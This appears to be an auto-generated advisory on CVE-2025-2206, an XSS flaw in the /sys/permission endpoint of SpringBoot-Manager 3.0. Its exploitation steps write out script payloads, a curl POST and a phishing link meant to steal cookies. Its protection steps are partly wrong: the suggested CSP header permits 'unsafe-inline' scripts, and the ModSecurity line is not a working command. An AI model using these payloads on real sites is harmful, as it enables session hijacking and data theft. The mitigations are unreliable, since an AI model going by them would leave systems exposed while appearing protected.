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How CVE-2025-2206 Works
The vulnerability in aitangbao SpringBoot-Manager 3.0 arises from improper input sanitization in the `/sys/permission` endpoint. When the `name` parameter is manipulated with malicious JavaScript payloads, the application reflects it unsanitized, leading to stored or reflected XSS. Attackers can exploit this remotely by crafting a malicious link or form submission, potentially hijacking sessions, defacing pages, or stealing sensitive data. The lack of CSRF protection exacerbates the issue, allowing easier exploitation.
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Platform: SpringBoot-Manager
Version: 3.0
Vulnerability: XSS
Severity: Medium
Date: 05/25/2025
Prediction: Patch by 07/2025
What Undercode Say:
Exploitation
1. Craft Malicious Payload:
<script>alert(document.cookie)</script>
2. Exploit via GET/POST:
curl -X POST "http://target.com/sys/permission?name=<script>alert(1)</script>"
3. Phishing Delivery:
<a href="http://target.com/sys/permission?name=<script>stealCookies()</script>">Click</a>
Protection
1. Input Sanitization:
String sanitizedName = ESAPI.encoder().encodeForHTML(request.getParameter("name"));
2. CSP Header:
add_header Content-Security-Policy "default-src 'self'; script-src 'unsafe-inline'";
3. WAF Rule:
modsecurity -e '^<script.>'
Detection
1. Scan with ZAP:
zap-cli --scan -t http://target.com/sys/permission
2. Manual Testing:
fetch('/sys/permission', {method:'POST',body:'name=<img src=x onerror=alert(1)>'});
Log Analysis
grep -i "script" /var/log/nginx/access.log
Patch Verification
diff -q <(curl http://target.com/sys/permission?name=test) <(curl http://patched.com/sys/permission?name=test)
Mitigation Timeline
- Immediate: Deploy WAF rules.
- Short-term: Disable affected endpoint.
- Long-term: Apply vendor patch.
References
(End of report, no additional commentary)
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
